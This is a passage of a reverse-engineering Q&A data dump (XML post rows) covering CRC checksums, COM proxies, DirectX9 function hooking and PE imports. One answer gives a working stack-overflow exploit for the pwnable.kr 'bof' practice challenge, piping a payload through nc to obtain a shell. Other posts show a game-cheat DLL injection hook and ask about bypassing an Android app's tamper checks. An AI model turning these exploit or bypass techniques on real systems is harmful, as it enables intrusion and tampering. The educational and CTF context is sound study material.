generally use that calling conventions.&lt;/p&gt;&#xA;&lt;p&gt;One can see a real example of this method in my repository &lt;a href=&quot;https://github.com/Biswa96/WslReverse&quot; rel=&quot;noreferrer&quot;&gt;GitHub: WslReverse&lt;/a&gt; where I show the hidden COM interface of LxssManager.DLL.&lt;/p&gt;&#xA;&lt;h3&gt;Further Readings:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blogs.msdn.microsoft.com/eldar/2006/02/28/com-proxy-stub-dll-and-why-do-you-need-it/&quot; rel=&quot;noreferrer&quot;&gt;COM proxy stub dll and why do you need it&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.codeproject.com/Members/Lim-Bio-Liong?msg=1413206#xx1413206xx&quot; rel=&quot;noreferrer&quot;&gt;Concerning Proxy/Stub DLLs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms809983.aspx&quot; rel=&quot;noreferrer&quot;&gt;From CPP to COM&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://thrysoee.dk/InsideCOM+/ch12d.htm&quot; rel=&quot;noreferrer&quot;&gt;An Introduction to Marshaling&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;" OwnerUserId="23069" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-09-21T14:02:06.693" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19080" PostTypeId="1" CreationDate="2018-08-16T20:13:29.937" Score="1" ViewCount="1121" Body="&lt;p&gt;I maae a dump of a Mifare Classic, NXP, tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can read some information without a problem, but if I write data in a block, I need to terminate the block with a checksum (CRC?, one byte).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried with this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://hub.zhovner.com/tools/nfc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hub.zhovner.com/tools/nfc/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.sunshine2k.de/coding/javascript/crc/crc_js.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.sunshine2k.de/coding/javascript/crc/crc_js.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This are block samples:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;000000000000000000000000000000&lt;strong&gt;F5&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;F50000000000000000000000000000&lt;strong&gt;00&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;300000000000000000000000000000&lt;strong&gt;96&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;01E1CCE70900000000000000000000&lt;strong&gt;62&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, how determine the last byte (in bold)&lt;/p&gt;&#xA;" OwnerUserId="23512" LastEditorUserId="245" LastEditDate="2018-08-16T21:09:04.537" LastActivityDate="2018-08-16T21:09:04.537" Title="How determine correct checksum algorithm for this NFC Data?" Tags="|crc|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19081" PostTypeId="1" CreationDate="2018-08-17T00:15:58.160" Score="1" ViewCount="352" Body="&lt;p&gt;I have not had success with reveng on figuring out how to calculate these CRCs. &#xA;I successfully figured out another similar CRC from the same author so I'm pretty sure that the first four bytes as shown are not part of the CRC calculation. &#xA;The algorithm may be non standard. I have access to a lot of but here is a sample.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;n/a             calculate CRC16 from these                  CRC16       n/a&#xA;----------------------------------------------------------------------------&#xA;68 0D 0D 68     73 01 03 09 01 02 04 00 00 41 41 41 41      78 38       16&#xA;68 07 07 68     7A 01 0E 03 02 00 00                        C9 78       16     &#xA;68 07 07 68     7A 01 0E 03 03 00 7D                        B6 78       16     &#xA;68 0B 0B 68     7A 01 26 07 04 01 01 00 00 00 F0            E1 AD       16                                         &#xA;68 0B 0B 68     7A 01 26 07 05 15 01 00 00 00 F0            E9 0D       16                                         &#xA;68 07 07 68     7A 01 30 03 06 02 94                        AD 7C       16     &#xA;68 07 07 68     7A 01 30 03 07 00 EA                        D1 78       16     &#xA;68 07 07 68     7A 01 30 03 08 00 F6                        D3 78       16     &#xA;68 07 07 68     7A 01 30 03 09 00 CB                        EC 78       16     &#xA;68 07 07 68     7A 01 30 03 0A 00 CA                        EB 78       16     &#xA;68 07 07 68     7A 01 09 03 0B 00 00                        C7 78       16     &#xA;68 07 07 68     7A 01 05 03 0C 00 00                        F9 78       16     &#xA;68 07 07 68     7A 01 05 03 0D 00 13                        E8 78       16     &#xA;68 07 07 68     7A 01 05 03 0E 00 26                        DB 78       16     &#xA;68 07 07 68     7A 01 05 03 0F 00 39                        C6 78       16     &#xA;68 07 07 68     7A 01 05 03 10 00 4C                        8D 78       16     &#xA;68 07 07 68     7A 01 05 03 11 00 5F                        9C 78       16     &#xA;68 07 07 68     7A 01 05 03 12 00 72                        B7 78       16     &#xA;68 07 07 68     7A 01 05 03 13 00 85                        42 78       16     &#xA;68 07 07 68     7A 01 05 03 14 00 98                        51 78       16     &#xA;68 07 07 68     7A 01 05 03 15 00 AB                        60 78       16     &#xA;68 07 07 68     7A 01 05 03 16 00 BE                        73 78       16     &#xA;68 07 07 68     7A 01 05 03 17 00 D1                        1E 78       16     &#xA;68 07 07 68     7A 01 05 03 18 00 E4                        35 78       16     &#xA;68 07 07 68     7A 01 05 03 19 00 F7                        24 78       16     &#xA;68 07 07 68     7A 01 05 03 1A 01 0A                        DF 7A       16     &#xA;68 07 07 68     7A 01 05 03 1B 01 1D                        CA 7A       16     &#xA;68 07 07 68     7A 01 05 03 1C 01 30                        E9 7A       16     &#xA;68 07 07 68     7A 01 05 03 1D 01 43                        98 7A       16     &#xA;68 07 07 68     7A 01 05 03 1E 01 56                        8B 7A       16     &#xA;68 07 07 68     7A 01 05 03 1F 01 69                        B6 7A       16     &#xA;68 07 07 68     7A 01 05 03 20 01 7C                        DD 7A       16     &#xA;68 07 07 68     7A 01 05 03 21 01 8F                        2C 7A       16     &#xA;68 07 07 68     7A 01 05 03 22 01 A2                        07 7A       16     &#xA;68 07 07 68     7A 01 05 03 23 01 B5                        12 7A       16     &#xA;68 07 07 68     7A 01 05 03 24 01 C8                        61 7A       16     &#xA;68 07 07 68     7A 01 05 03 25 01 DB                        70 7A       16     &#xA;68 07 07 68     7A 01 05 03 26 01 EE                        43 7A       16     &#xA;68 07 07 68     7A 01 05 03 27 02 01                        AE 7C       16     &#xA;68 07 07 68     7A 01 05 03 28 02 14                        A5 7C       16     &#xA;68 07 07 68     7A 01 05 03 29 02 27                        94 7C       16     &#xA;68 07 07 68     7A 01 05 03 2A 02 3A                        8F 7C       16     &#xA;68 07 07 68     7A 01 05 03 2B 02 4D                        FA 7C       16     &#xA;68 07 07 68     7A 01 05 03 2C 02 60                        D9 7C       16     &#xA;68 07 07 68     7A 01 05 03 2D 02 73                        C8 7C       16     &#xA;68 07 07 68     7A 01 05 03 2E 02 86                        3B 7C       16     &#xA;68 07 07 68     7A 01 05 03 2F 02 99                        26 7C       16     &#xA;68 07 07 68     7A 01 05 03 30 02 AC                        2D 7C       16     &#xA;68 07 07 68     7A 01 05 03 31 02 BF                        3C 7C       16     &#xA;68 07 07 68     7A 01 05 03 32 02 D2                        57 7C       16     &#xA;&#xA;EDIT&#xA;&#xA;Here are two groups only incremented by one bit, this was as many as I could &#xA;gather.&#xA;&#xA;73 01 03 09 01 02 04 00 00 31 32 33 34      EA 1C  &#xA;73 01 03 09 02 02 04 00 00 31 32 33 34      DA 1C  &#xA;73 01 03 09 04 02 04 00 00 31 32 33 34      BA 1C  &#xA;73 01 03 09 08 02 04 00 00 31 32 33 34      7A 1C  &#xA;73 01 03 09 10 02 04 00 00 31 32 33 34      7A 19  &#xA;73 01 03 09 20 02 04 00 00 31 32 33 34      7A 13  &#xA;73 01 03 09 40 02 04 00 00 31 32 33 34      7A 07  &#xA;73 01 03 09 80 02 04 00 00 31 32 33 34      7A 2F&#xA;&#xA;&#xA;08 01 83 07 01 00 00 00 40 00 00            2D BE   &#xA;08 01 83 07 02 00 00 00 40 00 00            35 BE   &#xA;08 01 83 07 04 00 00 00 40 00 00            05 BE   &#xA;08 01 83 07 08 00 00 00 40 00 00            65 BE   &#xA;08 01 83 07 10 00 00 00 40 00 00            A5 BE   &#xA;08 01 83 07 20 00 00 00 40 00 00            A5 BB   &#xA;08 01 83 07 40 00 00 00 40 00 00            A5 B1   &#xA;08 01 83 07 80 00 00 00 40 00 00            A5 A5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25367" LastEditorUserId="25367" LastEditDate="2018-08-17T21:37:36.863" LastActivityDate="2018-08-17T21:37:36.863" Title="Reverse engineer CRC16" Tags="|crc|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19084" PostTypeId="2" ParentId="19077" CreationDate="2018-08-17T09:06:29.787" Score="1" Body="&lt;p&gt;Decompile the app and look for references to the magic signature. Unless it is obfuscated, it should not be too difficult to recover the format details from the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. &lt;a href=&quot;https://github.com/flamewing/sorcery-xtractobb/blob/master/xtractobb.cc&quot; rel=&quot;nofollow noreferrer&quot;&gt;this project&lt;/a&gt; seems to have  an unpacker referencing the magic string.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-08-17T09:06:29.787" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19085" PostTypeId="1" AcceptedAnswerId="19107" CreationDate="2018-08-17T10:42:04.877" Score="1" ViewCount="116" Body="&lt;p&gt;I am studying assembly and hooking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to hook x86 assembly now.&#xA;so if any thread goes to certain address which is overwritten with my code, it automatically returns to my function.&#xA;I think this is normal hooking principle.&#xA;&lt;a href=&quot;https://www.apriorit.com/dev-blog/160-apihooks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.apriorit.com/dev-blog/160-apihooks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now, I want to hook x86 registers or memory in windows 32bit, like almost debugger's breakpoints do.&#xA;So when some memory areas are accessed, automatically call my function in that process memory.&#xA;To be exact, I want to use my hooked function instead of breakpoint.&#xA;Any advance will be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="25369" LastEditorUserId="25369" LastEditDate="2018-08-19T17:58:59.353" LastActivityDate="2018-08-20T14:05:38.827" Title="Is there any way to call function instead of breakpoint, when certain memory area is accessed or register value is matched?" Tags="|windows|assembly|function-hooking|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19091" PostTypeId="2" ParentId="19022" CreationDate="2018-08-18T18:36:27.573" Score="1" Body="&lt;p&gt;What wersion gdbserver are you use? You make this gdbserver or download in repository. Please check &lt;code&gt;file&lt;/code&gt; output for mips file (big or little endian) and also check output &lt;code&gt;gdbserver -v&lt;/code&gt;&#xA;Try connect gdb on your gdbserver and trace, if be successful, then problem in ida. &lt;/p&gt;&#xA;" OwnerUserId="19827" LastEditorUserId="19827" LastEditDate="2018-08-18T18:41:45.957" LastActivityDate="2018-08-18T18:41:45.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19092" PostTypeId="1" CreationDate="2018-08-18T19:17:14.203" Score="4" ViewCount="262" Body="&lt;p&gt;Sorry for the question if anything is wrong, I'm new to StackOverflow. I have DWARF debug file of a C++ Mac program of version (i.e. 1.1). Is there any way to use this debug information in a newer version (like 1.5) of the same program? Seeing what has changed is enough for me.&lt;/p&gt;&#xA;" OwnerUserId="25379" LastActivityDate="2018-10-18T19:01:06.827" Title="Using debug symbols of an older exe for a newer exe" Tags="|debugging-symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19093" PostTypeId="1" AcceptedAnswerId="19149" CreationDate="2018-08-18T21:11:30.343" Score="0" ViewCount="835" Body="&lt;p&gt;I'm trying to bypass the security that checks if a file is modified on an android app and will crash without error if modified. It have around 10 fake crashes. I have bypassed some of them in smali and libs but it still keep crashing and Zygote returns different numbers like 2, 4, 15, 25, etc. There is no explanation or details about &quot;Process exited cleanly&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain what that &quot;Process exited cleanly&quot; means and what c++ codes could be used to fake crash than getpid+kill, exit, abort?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what it says in logcat: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;08-18 23:02:10.751 I/ActivityManager(412): Process com.xxx.xxx (pid 17716) has died&#xA;08-18 23:02:10.768 I/Zygote  (160): Process 17716 exited cleanly (15)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19188" LastActivityDate="2018-08-24T17:34:52.437" Title="What does &quot;Process exited cleanly (number)&quot; mean?" Tags="|c++|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19094" PostTypeId="1" AcceptedAnswerId="19095" CreationDate="2018-08-18T21:40:35.403" Score="2" ViewCount="1014" Body="&lt;p&gt;I posted a thread on StackOverflow a few days ago, and it's got little attention, so i though it's possible this might be a better place for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the title says, i'm trying to hook/detour DirectX9 functions so i can render some information on screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to detour regular functions in my own application by finding the offset address in IDA, i believe i understand what hooking/detouring is and how it works, at least to a reasonable extent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, i'm not sure how to even find the EndScene function in IDA, and any attempt I've made at creating a dummy device and getting a V-Table pointer for the function have just not worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code, someone please point out what i'm doing wrong here.&#xA;I'd like to fix this and learn what I've done wrong so i can avoid making the same mistake in the future.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// dllmain.cpp : Defines the entry point for the DLL application.&#xA;#include &quot;stdafx.h&quot;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;  &#xA;#include &amp;lt;tchar.h&amp;gt;&#xA;#include &amp;lt;tlhelp32.h&amp;gt;&#xA;#include &amp;lt;Psapi.h&amp;gt;&#xA;#include &amp;lt;winsock2.h&amp;gt;&#xA;#include &amp;lt;vector&amp;gt;&#xA;#include &amp;lt;ws2tcpip.h&amp;gt;&#xA;#pragma comment( lib, &quot;Ws2_32.lib&quot; )&#xA;#include &amp;lt;d3d9.h&amp;gt;&#xA;#pragma comment(lib, &quot;d3d9.lib&quot;)&#xA;#include &amp;lt;d3dx9.h&amp;gt;&#xA;#pragma comment(lib, &quot;d3dx9.lib&quot;)&#xA;#include &amp;lt;detours.h&amp;gt;&#xA;#pragma comment(lib, &quot;detours.lib&quot;)&#xA;&#xA;using namespace std;&#xA;&#xA;D3DCOLOR RED = D3DCOLOR_ARGB(255, 255, 0, 0);&#xA;&#xA;typedef HRESULT(__stdcall* EndScene)(IDirect3DDevice9*);&#xA;static EndScene EndScene_orig = NULL;&#xA;&#xA;HRESULT __stdcall EndScene_hook(IDirect3DDevice9* pDevice)&#xA;{&#xA;//  D3DRECT rec = { 100,100,200,200 };&#xA;//  pDevice-&amp;gt;Clear(1, &amp;amp;rec, D3DCLEAR_TARGET, RED, 0, 0);&#xA;//  MessageBoxA(0, &quot;In EndScene&quot;, &quot;&quot;, 0); //    &amp;lt;&amp;lt;&amp;lt;&amp;lt;----- This function is called over and over when not commented.&#xA;    return EndScene_orig(pDevice);&#xA;}&#xA;&#xA;void WINAPI InitHook()&#xA;{&#xA;&#xA;    HWND game_window = FindWindow(NULL, _T(&quot;Skinned Mesh&quot;));&#xA;&#xA;    auto d3dpp = D3DPRESENT_PARAMETERS{};&#xA;    auto d3d = Direct3DCreate9(D3D_SDK_VERSION);&#xA;    if (d3d)&#xA;    {&#xA;        d3dpp.BackBufferCount = 1;&#xA;        d3dpp.MultiSampleType = D3DMULTISAMPLE_NONE;&#xA;        d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD;&#xA;        d3dpp.hDeviceWindow = game_window;&#xA;        d3dpp.FullScreen_RefreshRateInHz = D3DPRESENT_RATE_DEFAULT;&#xA;        d3dpp.PresentationInterval = D3DPRESENT_INTERVAL_IMMEDIATE;&#xA;        d3dpp.BackBufferFormat = D3DFMT_R5G6B5;&#xA;        d3dpp.Windowed = TRUE;&#xA;        IDirect3DDevice9* Device{};&#xA;        if (SUCCEEDED(d3d-&amp;gt;CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, game_window, D3DCREATE_HARDWARE_VERTEXPROCESSING, &amp;amp;d3dpp, &amp;amp;Device)))&#xA;        {&#xA;//          MessageBoxA(0, &quot;We made it here...&quot;, &quot;&quot;, 0);&#xA;&#xA;            DWORD** pVTable = *reinterpret_cast&amp;lt;DWORD***&amp;gt;(Device);&#xA;&#xA;            DetourTransactionBegin();&#xA;            DetourUpdateThread(GetCurrentThread());&#xA;&#xA;            EndScene_orig = (EndScene)pVTable[42];&#xA;            DetourAttach(&amp;amp;(LPVOID&amp;amp;)pVTable[42], EndScene_hook);&#xA;&#xA;            if (DetourTransactionCommit() == NO_ERROR)&#xA;                cout &amp;lt;&amp;lt; &quot;Detoured successfully&quot; &amp;lt;&amp;lt; endl;&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&#xA;&#xA;void SetupConsole()&#xA;{&#xA;    AllocConsole();&#xA;    freopen(&quot;CONOUT$&quot;, &quot;wb&quot;, stdout);&#xA;    freopen(&quot;CONOUT$&quot;, &quot;wb&quot;, stderr);&#xA;    freopen(&quot;CONIN$&quot;, &quot;rb&quot;, stdin);&#xA;    SetConsoleTitle(&quot;CSGOHAX&quot;);&#xA;}&#xA;&#xA;&#xA;BOOL APIENTRY DllMain(HMODULE hModule,&#xA;    DWORD  ul_reason_for_call,&#xA;    LPVOID lpReserved&#xA;)&#xA;{&#xA;    switch (ul_reason_for_call)&#xA;    {&#xA;    case DLL_PROCESS_ATTACH:&#xA;        SetupConsole();&#xA;        DisableThreadLibraryCalls(hModule);&#xA;        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)InitHook, 0, 0, NULL);&#xA;        break;&#xA;    case DLL_THREAD_ATTACH:&#xA;    case DLL_THREAD_DETACH:&#xA;    case DLL_PROCESS_DETACH:&#xA;        break;&#xA;    }&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25380" LastEditorUserId="25380" LastEditDate="2018-08-19T17:57:00.720" LastActivityDate="2018-08-19T17:57:00.720" Title="Trying to hook DirectX9 using C++ - Keeps crashing" Tags="|debugging|c++|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19095" PostTypeId="2" ParentId="19094" CreationDate="2018-08-19T00:08:30.883" Score="2" Body="&lt;p&gt;I figured it out, reversed the binary in IDA, found the module address and the EndScene function aswell as its address, calculated the offset. Then used ollydbg and found the function again, made a signature from it, now i can find it dynamically using a signature scanning function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i can get the function address with this signature.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD dwEndScene = FindPattern(&quot;d3d9.dll&quot;,&#xA;    &quot;\x6A\x18\xB8\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x8B\x7D\x08\x8B\xDF\x8D\x47\x04\xF7\xDB\x1B\xDB\x23\xD8\x89\x5D\xE0\x33\xF6\x89\x75\xE4\x39\x73\x18\x75\x73&quot;,&#xA;    &quot;xxx????x????xxxxxxxxxxxxxxxxxxxxxxxxxxx&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then i just detour the function &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DetourTransactionBegin();&#xA;DetourUpdateThread(GetCurrentThread());&#xA;EndScene_orig = (oEndScene)(dwEndScene);&#xA;DetourAttach(&amp;amp;(LPVOID&amp;amp;)EndScene_orig, EndScene_hook);&#xA;if (DetourTransactionCommit() == NO_ERROR)&#xA;    cout &amp;lt;&amp;lt; &quot;Detoured successfully&quot; &amp;lt;&amp;lt; endl;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is much easier than trying to find the function in the V-Table using a dummy device as i was before.&lt;/p&gt;&#xA;" OwnerUserId="25380" LastEditorUserId="25380" LastEditDate="2018-08-19T01:00:51.693" LastActivityDate="2018-08-19T01:00:51.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19096" PostTypeId="1" AcceptedAnswerId="19098" CreationDate="2018-08-19T10:09:29.033" Score="2" ViewCount="708" Body="&lt;p&gt;I have very basic application which is console app dispaying message box. &#xA;In Visual Studio I change following options: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- C/C++ -&amp;gt; SecurityCheck -&amp;gt; Disable Security Check (/GS-)&#xA;- Linker -&amp;gt; Advanced -&amp;gt; Entry Point -&amp;gt; main&#xA;- Linker -&amp;gt; Input -&amp;gt; -&amp;gt; Ignore All Default Libraries -&amp;gt; Yes (/NODEFAULTLIB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to remove from .exe all dependenies like vcruntime140.dll, api-ms-win-crt-locale.dll, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I have only one dependency in import table, which is user32.dll (required by messagebox).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why kernel32.dll is missing?&#xA;I thought that kernel32.dll is required for all .exe applications. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even the kernel32.dll is missing, the app runs correctly.&lt;/p&gt;&#xA;" OwnerUserId="25385" LastActivityDate="2018-08-19T13:50:55.393" Title="Missing kernel32.dll in import table" Tags="|windows|winapi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19097" PostTypeId="2" ParentId="19061" CreationDate="2018-08-19T11:11:46.643" Score="1" Body="&lt;p&gt;Often then unsued variables are unusued only until you make the first deobfuscation step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After first run, you could see that some code uses these variables, for example using an eval. This because the previous step of obfuscation make  vars look like unusued, only because their use in the code is obfuscated on a (again) previous step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example. You could use eval and base64 encoding to hide the use of a piece of code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a situation like your I tend to remove apparently unused code using IDE tools, then, if the code is still working I can be sure I removed useless fog from the code.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Person opinion: JsHint fall to detect used cars just when JavaScript coding is confused... An alert using window object to access a variable make JsHint blind. Is not a good help &lt;em&gt;for this specific purpose&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;obviously you need to run every sort of sandboxing, sw and hw isolation and emulation when you try a malicious code&lt;/em&gt; . &lt;/p&gt;&#xA;" OwnerUserId="24904" LastActivityDate="2018-08-19T11:11:46.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19098" PostTypeId="2" ParentId="19096" CreationDate="2018-08-19T13:50:55.393" Score="2" Body="&lt;p&gt;If you are not using any APIs from kernel32 it will not be added to the import table, simple as that. You were misinformed about kernel32 being required for all applications. It is even possible to have an application without import table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to the vcruntime140 etc, you can just target Windows XP and use the /MP option to get rid of those. The api-ms*.dll are Windows Vista+ ways of importing things like kernel32.dll with shims, so if you don’t care about XP support those are not an issue.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2018-08-19T13:50:55.393" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19100" PostTypeId="2" ParentId="11777" CreationDate="2018-08-19T13:56:54.260" Score="8" Body="&lt;p&gt;The answer from Jason is the correct solution. However, I wanted to give an alternative answer without Python, but from the terminal. IMO Python is always preferred for better automation, but sometimes you just wanna have a quick exploit done without extra tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that in mind, one's natural attempt would be something like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo -e &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\x0a&quot; | nc pwnable.kr 9000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After all, this is an exact replica of the code above in Python, right? Except, the server begs to differ:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;*** stack smashing detected ***: /home/bof/bof terminated overflow me :&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, what is the problem, then?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think about the command above, for a moment. It sends a bunch of characters to the stdin of the remote process, in the hopes of running /bin/sh. However, we still get greeted by the error. The reason for this, is that we are sending the correct payload, but then we are &lt;em&gt;stopping&lt;/em&gt;. EOF. /bin/sh has no input, so execution continues to the next line, until the stack protector kicks in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why Python works and the &lt;code&gt;echo&lt;/code&gt; command doesn't, is continuity. Python doesn't close the stream, while the terminal version does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prove it, here's a slightly longer version of the terminal exploit, which actually works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo -e &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\x0a&quot; &amp;gt; payload.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First, we save the exact payload as before, to a file named payload.bin in this case. Next, we run the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat payload.bin - | nc pwnable.kr 9000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note the - after payload.bin, after cat is done outputting contents of payload.bin, it will start outputting whatever comes in via stdin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And voila! Now you are actually in. You can try typing shell commands, such as &lt;code&gt;cat flag&lt;/code&gt;, or &lt;code&gt;touch /tmp/pwned&lt;/code&gt; or whatever you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whew! That was long. Hope this info will help other confused souls as it did help me a while ago.&lt;/p&gt;&#xA;" OwnerUserId="25386" LastEditorUserId="25386" LastEditDate="2018-08-21T15:31:52.073" LastActivityDate="2018-08-21T15:31:52.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19102" PostTypeId="2" ParentId="19092" CreationDate="2018-08-19T18:02:49.927" Score="3" Body="&lt;p&gt;you probably can't use I as-is but there some possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;apply symbols to the version 1.1 then use some binary diffing/porting tool to find the matching functions in the version 1.5.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if you don't have the old binary, just dump the symbols and use the information in the binary (strings etc.) to find the matching functions and rename them. the addresses will probably be close but likely won't match exactly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-08-19T18:02:49.927" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19104" PostTypeId="1" CreationDate="2018-08-19T18:59:29.117" Score="2" ViewCount="157" Body="&lt;p&gt;I want to know what engine was used (if any) to produce an Android game, is it possible? What to look for in decompiled apk? Or maybe I have to check with a proxy for some certain http requests? Or some special files included?&lt;/p&gt;&#xA;" OwnerUserId="14840" LastEditorUserId="2147" LastEditDate="2018-08-27T22:52:21.067" LastActivityDate="2018-08-27T22:52:21.067" Title="Is it possible to check what engine was used to produce an Android game?" Tags="|android|game-hacking|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19105" PostTypeId="2" ParentId="19104" CreationDate="2018-08-19T21:31:00.323" Score="1" Body="&lt;p&gt;If the engine includes native components, names of files in the &lt;code&gt;lib&lt;/code&gt; directory of the APK might give you some hints. E.g. &lt;code&gt;libunity.so&lt;/code&gt; and &lt;code&gt;libmono.so&lt;/code&gt; likely mean the game is using Unity.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-08-19T21:31:00.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
